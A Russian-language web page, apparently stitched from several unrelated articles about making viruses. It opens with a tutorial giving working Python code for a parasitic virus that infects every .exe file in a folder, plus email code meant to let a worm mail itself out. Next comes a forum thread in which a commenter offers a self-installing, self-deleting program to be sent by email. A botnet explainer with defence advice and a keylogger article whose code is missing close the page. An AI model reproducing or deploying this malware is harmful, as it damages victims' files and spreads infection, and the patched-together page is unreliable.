Как создать бота вирус
Новый год — самое время для легких извращений. Хотя для тебя, читающего эту статью практически весной, год уже не новый, да и сама идея изучения вируса, написанного на питоне, может показаться вовсе даже не легким извращением…
Как известно, с помощью питона можно решать множество повседневных, рутинных задач: периодическое резервное копирование файлов, отправка писем по электронной почте, поиск и выполнение различных действий с файлами на жестком диске и прочее. Так как Python является языком программирования высокого уровня, то и вирусы на нем можно писать соответствующие. Зловреды, созданные с помощью ЯВУ, обычно классифицируются как HLLx (High Level Language, x — метод размножения).
Существуют три основных подвида HLLx-вирусов: оверврайтеры (Overwrite) — HLLO, компаньоны (Companion) — HLLC и паразиты (Parasitic) — HLLP.
Первые являются достаточно примитивными программами, которые просто перезаписывают код жертвы своим кодом, вследствие чего оригинальная программа перестает существовать. Такие вирусы очень просты и весьма разрушительны. В результате эпидемии такой заразы пользовательский компьютер практически полностью лишается всего установленного ПО. Ничем иным кроме вандализма это назвать нельзя.
В связи с тем, что как HLLO-, так и HLLC-вирусы слишком примитивны и практически не встречаются в дикой природе, мы займемся разработкой здовреда-паразита. Основной метод, используемый ими для заражения — внедрение в один файл с кодом-жертвой.
Таким образом сохраняется код оригинальной программы, и при этом не появляется никаких лишних следов.
import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:
namePair = os.path.splitext(name);
if namePair[1] == '.exe' and
name != virPath[1]:
os.rename(name, name + 'tmp');
fprog = open(name + 'tmp', 'rb');
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + 'tmp');
origProgData = fvir.read();
origProg = 'original_' + virPath[1];
forig = open(origProg, 'wb');
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ' ');
Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.
После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir('.') получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником.
Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой. Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция:
а перед этим выполняется команда
Для чего это нужно, я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+'tmp').
Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу.
Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы.
Главное для нас — продемонстрировать принцип работы.
Сетевой червь
Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.
Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.
Для начала давай посмотрим, как с помощью Python отправить письмо. Небольшой примерчик, от которого мы будем отталкиваться в дальнейшем:
import smtplib
from email.mime.text import MIMEText
msg = MIMEText('Message text')
# me == email отправителя
# you == email получателя
msg['Subject'] = 'Test message'
msg['From'] = me
msg['To'] = you
s = smtplib.SMTP('')
s.sendmail(me, [you], msg.as_string())
s.quit()
Здесь мы используем библиотеку smtplib и входящий в нее пакет MIMEText. Код настолько прост, что не требует особых разъяснений. Единственное, на что стоит обратить внимание, так это на авторизацию на SMTP-сервере. Если для отправки сообщения требуется ввести логин и пароль, то придется вызвать еще одну дополнительную функцию. Так как наш вирус является файлом, нам надо приаттачить его к письму. Для этого придется импортировать еще пару дополнительных библиотек и написать немного кода.
Будет это выглядеть примерно так:
import smtplib
import mimetypes
from email import encoders
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
outer = MIMEMultipart()
# me == email отправителя
# you == email получателя
outer['Subject'] = ‘Test message’
outer['From'] = me
outer['To'] = you
ctype, encoding = mimetypes.guess_type(path_to_file)
if ctype is None or encoding is not None:
ctype = 'application/octet-stream'
maintype, subtype = ctype.split(‘/’, 1)
fp = open(path_to_file, ‘rb’)
msg = MIMEBase(maintype, subtype)
msg.set_payload(fp.read())
fp.close()
encoders.encode_base64(msg)
msg.add_header('Content-Disposition',
'attachment', filename=file_name)
outer.attach(msg)
s = smtplib.SMTP('')
s.sendmail(me, [you], outer.as_string())
s.quit()
В импорте у нас появилась библиотека mimetypes, а также модули encoders, MIMEMultipart и MIMEBase. MIMEMultipart позволяет формировать емайл-сообщение из различных видов данных (текст, картинки и прочее). MIMEBase работает с файлами произвольного типа — например, exe. В качестве основы сообщения мы берем переменную типа MIMEMultipart и добавляем к ней объект MIMEBase, в который предварительно считали и декодировали в base64 содержимое нужного нам файла.
Теперь, когда вирус может сам себя отправлять в электронном сообщении, дело осталось за малым — найти, кому отправить e-mail. Тут полет фантазии вирмейкера на питоне ничем не ограничен. Можно, например, поискать адреса на жестком диске, просканировав все имеющиеся на нем файлы. А можно воспользоваться адресной книгой Outlook. Для последнего тебе понадобится пакет Python Win32 Extensions.
Несколько замечаний
В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().
Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.
Заключение
Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :).
Здравствуйте! В этом посте (первом) я покажу, как создавать вирус шутку через блокнот. Сразу прошу не бомбить и не писать гневные комменты типа: "Да такого миллион!", "Да что ты знаешь!", "Да пошел ты в жопу!" и т.д. Да, я знаю, что эти "вирусы" создавали давно. Но я к примеру открыл для себя это совсем недавно. Месяца 3 назад.
Ближе к делу: я буду рассказывать что эта шутка вообще делает, буду вставлять скрины и все объяснять. Напомню, это ознакомительный пост! В других постах я буду конкретно писать, как создать такой-то вирус.
Вирус-шутка это программа, которую создают в блокноте. Т.е. пишешь там команды и сохраняешь их определенных форматах. Если все правильно сделано, без ошибок, то вирус-шутка сработает. Кстати, "вирус-шутка" это условное название. В блокноте можно создать и игру, и крестики нолики, часы.
ПРЕДУПРЕЖДЕНИЕ. Перед созданием вируса отключите Анти-Вирус.
1) Создание вируса: Для начала откройте блокнот.
2) В блокноте начинайте писать команду. Для начала скопируйте этот текст туда:
msgbox"Ты не против, если я буду жить у тебя в компе?",32+4,"Вопрос"
msgbox"Ок, ты не против",64,"Я понял"
msgbox"Ок, ты не против",64,"Я понял"
msgbox"Это шутка, это НЕ вирус :) ХАХАХАХА",64,"Я пошутил"
msgbox"Или же нет. ",64,". "
Я НЕ ЖЕЛАЮ ВАМ ЗЛА! ЭТОТ ВИРУС НЕ МОЖЕТ ПРИНЕСТИ ВАМ И ВАШЕМУ КОМПУ ВРЕДА!
3) Сохраните ваш текст в формате .vbs Смотрите далее.
4) Теперь у вас на Рабочем столе должен появиться вот такой значок:
5) Заходите в него.
6) У вас должен открыться вирус-шутка. Если же не работает, то два варианта: либо у вас включен Анти-Вирус, либо ваш комп не поддерживает это.
7) НЕ ПУГАЙТЕСЬ! ВИРУС-ШУТКА НЕ ПРИНЕСЕТ ВРЕДА. Теперь вам осталось читать то, что там написано, и кликать по кнопкам (любым).
Вы можете изменить в команде вируса текст. Например вместо "Windows удалить?" можно написать "ставьте лайки!". Удачи вам, экспериментируйте со своими вирусами!
И так, как я обещал, это был ознакомительный пост. Вскоре я выложу пост, где подробно опишу все значения, как все делать и т.д. Отпишитесь в тапках как вам мой пост, киньте скрины своего вируса. Мне будет интересно :D
сука! у меня винда удалилась!
Не ври. Этот вирус-шутка и близко такого сделать не может.
ТС, у вас тоже снегопад? Занятия в школах отменили?
Да, отменили. Вот и сижу, "клавотюкаюсь".
Мне хочется узнать все подробно как это работает что обозначает msgbox, цифры 64; 32+4
"msgbox" - название команды, которая выводит стандартный диалог. Цифрами выбирается стиль отображения (иконка внутри диалога и воспроизводимый звук при открытии). Также стилем выбираются кнопки (их текст и количество)
Отображаемых иконок всего 4: ошибка, вопрос, восклицание и внимание. Столько-же звуков.
Кнопок в связке по более:
Ок
Ок, Отмена
Да, Нет
Да, Нет, Отмена
Повтор, Отмена
Пропустить, Повторить Отменить
Т.к. эти диалоги выдаются системой, то можно указать только заголовок и текст диалога. Свой текст кнопок или свою иконку Вы не сможете установить. Можно вывести диалог без иконки. Вроде ничего не забыл. Давно увлекался этим, потом перешел на норм. язык программирования.
Ой, а может поможете раз разбираетесь?
Хочу коллегу разыграть/ поздравить с днем рождения. Он в командировке сейчас. Хочу ему на почту файл бросить который в определенный день ему на принтер выведет поздравление. Как можно батник сделать, чтобы он себя в автозагрузку прописал и именно в определенный день сработал? Ну и удалился потом, чтоб он не догадался.
В инете поискал, там только на удаление доков батники) и определенного дня нельзя поставить.
Если хотите именно батник, то можно попробовать использовать планировщик Windows, но с батниками куча ограничений.
О поздравлялке: даже если Вы отправите эл. письмо с батником или exe-шником, то поздравление не сработает, пока его не скачают и не запустят. В некоторых случаях почтовый сервис может отправить письмо в папку "Спам" (пользователь его не увидит), либо при скачивании файл заблокирует антивирус, но это все маловероятно.
На счет печати принтером: это можно, но обязательно? Можно например вывести на экран красивый диалог, или картинку :)
Нет с программкой не тот эффект))) Да и вк нету.
Просто хотелось отправить на почту письмо, (его обязательно откроют, так как с этого адреса только по работе приходит, да и с чувством опасности у людей проблемы))), чтоб этот файл прописался в планировщик или в автозагрузку, а в нужный день отправил бы на печать текст. Там принтер ежедневно включают, так что по-любому бы удивил)))
Я батники когда-то давно делал. Даже похожий прикол видел, когда из планировщика каждый день на печать выходит "Ты умрешь через *** дней", "Ты умрешь завтра", "Это случится сегодня". Но там надо было за компом посидеть, чтоб настроить. А как это "дистанционно" через почту сделать я не знаю.
В любом случае спасибо.
Хм, думаю, что через батник хоть и сложно, но реально: батник запускает установщик Windows (msiexec.exe) с параметром, который скачает и установит программу и документ с текстом печати. Программа прописывается в автозапуск и следит за датой и временем системы. Как только дата начала наступает, программа запускает скрытый процесс Microsoft Office Word (winword.exe) с параметром начала печати нашего документа. Программа делает какую-нибудь отметку на каком-либо ресурсе (сайте или сервере), что она успешно отработала. Запускается msiexec.exe с параметром удаления нашей программы (программа удаляется с компьютера).
Несколько вопросов:
- на компьютере есть MS Office Word? Иначе придется создавать документ формата .rtf (поддерживается системой без доп. софта)
- проще изначально в письме использовать не батник, а именно приложение (exe-файл, т.к. не придется сначала создавать, а после скачивать установщик). Если нужно, то предоставлю исходный код приложения. Язык программирования - AutoIt 3. Его синтаксис очень напоминает рассматриваемые в посте скрипты. Так может лучше обойтись без батника?
- нужны дата запуска печати документа и текст поздравления
- желательно заранее знать, какая операционная система установлена на компьютере, где будет выполняться "поздравлялка" (XP, Vista, 7, 8, 8.1, 10 или серверные редакции систем Windows)?
Содержание
Введение
Сегодня ботнеты стали одним из главных инструментов киберпреступников. ComputerBild расскажет, что такое ботнеты, как они работают и как спасти свой компьютер от попадания в зомби-сеть.
Ботнет, или зомби-сеть, – это сеть компьютеров, зараженных вредоносной программой, позволяющей злоумышленникам удаленно управлять чужими машинами без ведома их владельцев. В последние годы зомби-сети стали стабильным источником дохода для киберпреступников. Неизменно низкие издержки и минимум знаний, необходимых для управления ботнетами, способствуют росту популярности, а значит, и количества ботнетов. На DDoS-атаках или спам-рассылках, осуществляемых с помощью зомби-сетей, злоумышленники и их заказчики зарабатывают тысячи долларов.
Заражен ли мой компьютер ботом?
Ответить на этот вопрос непросто. Дело в том, что отследить вмешательство ботов в повседневную работу ПК практически невозможно, поскольку оно никак не отражается на быстродействии системы. Тем не менее существует несколько признаков, по которым можно определить, что в системе присутствует бот:
- неизвестные программы пытаются осуществить соединение с Интернетом, о чем периодически возмущенно докладывает брандмауэр или антивирусное ПО;
- интернет-трафик становится очень велик, хотя вы пользуетесь Сетью весьма умеренно;
- в списке запущенных системных процессов появляются новые, маскирующиеся под обычные процессы Windows (к примеру, бот может носить имя scvhost.exe – это название очень похоже на название системного процесса Windows svchost.exe; заметить разницу довольно сложно, но – можно).
Зачем создаются ботнеты
Ботнеты создаются, чтобы зарабатывать деньги. Можно выделить несколько сфер коммерчески выгодного применения зомби-сетей: DDoS-атаки, сбор конфиденциальной информации, рассылка спама, фишинг, поисковый спам, накрутка клик-счетчиков и пр. Надо заметить, что прибыльным будет любое направление, какое бы злоумышленник ни выбрал, причем ботнет позволяет осуществлять все перечисленные виды деятельности одновременно.
В феврале 2007 года был проведен ряд атак на корневые DNS-серверы, от работы которых напрямую зависит нормальное функционирование всего Интернета. Маловероятно, что целью этих атак было обрушение Всемирной сети, ведь существование зомби-сетей возможно только при условии, что существует и нормально функционирует Интернет. Больше всего это было похоже на демонстрацию силы и возможностей зомби-сетей.
Злоумышленники могут либо продать украденную информацию, либо использовать ее в своих интересах. На многочисленных форумах в Сети каждый день появляются сотни объявлений о продаже банковских учетных записей. Стоимость учетной записи зависит от количества денег на счету пользователя и составляет от 1 до 1500 долларов за счет. Нижняя граница свидетельствует о том, что в ходе конкурентной борьбы киберпреступники, занимающиеся такого рода бизнесом, вынуждены снижать цены. Чтобы заработать действительно много, им необходим стабильный приток свежих данных, а для этого обязателен стабильный рост зомби-сетей. Особенно интересна финансовая информация кардерам – злоумышленникам, занимающимся подделкой банковских карт.
О том, насколько выгодны такие операции, можно судить по известной истории с группой бразильских киберпреступников, которые были арестованы два года назад. Они смогли снять с банковских счетов простых пользователей 4,74 миллиона долларов, используя украденную с компьютеров информацию. В приобретении персональных данных, не имеющих прямого отношения к деньгам пользователя, заинтересованы и преступники, которые занимаются подделкой документов, открытием фальшивых банковских счетов, совершением незаконных сделок и т.д.
Преступникам также интересны учетные записи различных платных сервисов и интернет-магазинов. Безусловно, они обходятся дешевле банковских учетных записей, но их реализация связана с меньшим риском преследования со стороны правоохранительных органов.
Стоимость украденных персональных данных напрямую зависит от страны, в которой живет их законный владелец. Например, полные данные жителя США стоят 5–8 долларов. На черном рынке особенно ценятся данные жителей Евросоюза – они в два-три раза дороже данных граждан США и Канады. Это можно объяснить тем, что такими данными преступники могут пользоваться в любой стране, входящей в ЕС. В среднем по миру цена полного пакета данных об одном человеке составляет порядка $7.
Как создаются ботнеты
Чтобы заставить потенциальную жертву установить бот, используют приемы социальной инженерии. Например, предлагают посмотреть интересное видео, для чего требуется скачать специальный кодек. После загрузки и запуска такого файла пользователь, конечно, не сможет посмотреть никакого видео и скорее всего не заметит вообще никаких изменений, а его ПК окажется заражен и станет покорным слугой, выполняющим все команды хозяина ботнета.
Бот можно наделить функцией самораспространения по компьютерным сетям. Например, он может распространяться путем заражения всех доступных исполняемых файлов или путем поиска и заражения уязвимых компьютеров сети.
Зараженные компьютеры ничего не подозревающих пользователей создатель ботнета может контролировать с помощью командного центра ботнета, связываясь с ботами через IRC-канал, веб-соединение или с помощью любых других доступных средств. Достаточно объединить в сеть несколько десятков машин, чтобы ботнет начал приносить своему хозяину доход. Причем этот доход находится в линейной зависимости от устойчивости зомби-сети и темпов ее роста.
Аренда и продажа ботнетов
Стоимость готового ботнета, равно как и стоимость его аренды, напрямую зависит от количества входящих в него компьютеров. Наибольшей популярностью готовые ботнеты пользуются на англоязычных форумах.
Аренда почтового ботнета со скоростью рассылки порядка 1000 спамовых писем в минуту (при 100 находящихся в онлайне зомби-машинах) обойдется примерно в 2000 долларов в месяц.
Маленькие ботнеты, состоящие из нескольких сотен ботов, стоят от 200 до 700 долларов. При этом средняя цена одного бота составляет примерно 50 центов. Более крупные ботнеты стоят больших денег.
Зомби-сеть Shadow, которая была создана несколько лет назад 19-летним хакером из Голландии, насчитывала более 100 тысяч компьютеров, расположенных по всему миру, продавалась за 25 000 евро. За эти деньги можно купить небольшой домик в Испании, однако преступник из Бразилии предпочел приобрести ботнет.
Средства защиты от ботнетов
- Антивирусный модуль в фоновом режиме выполняет сканирование важнейших системных областей и контролирует все возможные пути вторжения вирусов: вложения электронной почты и потенциально опасные веб-сайты.
- Брандмауэр следит за обменом данными между персональным компьютером и Интернетом. Он проверяет все пакеты данных, получаемые из Сети или отправляемые туда, и при необходимости блокирует сетевые атаки и препятствует тайной отправке личных данных в Интернет.
- Спам-фильтр защищает почтовый ящик от проникновения рекламных сообщений. В его задачи также входит выявление фишинговых писем, с помощью которых злоумышленники пытаются выудить у пользователя информацию о его данных для входа в онлайновые платежные или банковские системы.
2. Регулярное обновление операционной системы, веб-браузеров и других приложений, разработчики которых обнаруживают и ликвидируют многие бреши в их защите, а также слабые места, используемые злоумышленниками.
3. Специальные программы-шифровальщики защитят ваши персональные данные, даже если бот уже проник на компьютер, ведь для доступа к ним ему придется взломать пароль.
4. Здравый смысл и осторожность. Если вы хотите оградить свои данные от разного рода угроз, не стоит скачивать и устанавливать программы неизвестного происхождения, открывать архивы с файлами вопреки предупреждениям антивируса, заходить на сайты, которые браузер помечает как опасные, и т.д.
Хакерский мир можно условно разделить на три группы атакующих:
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Вторая версия кода:
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Читайте также: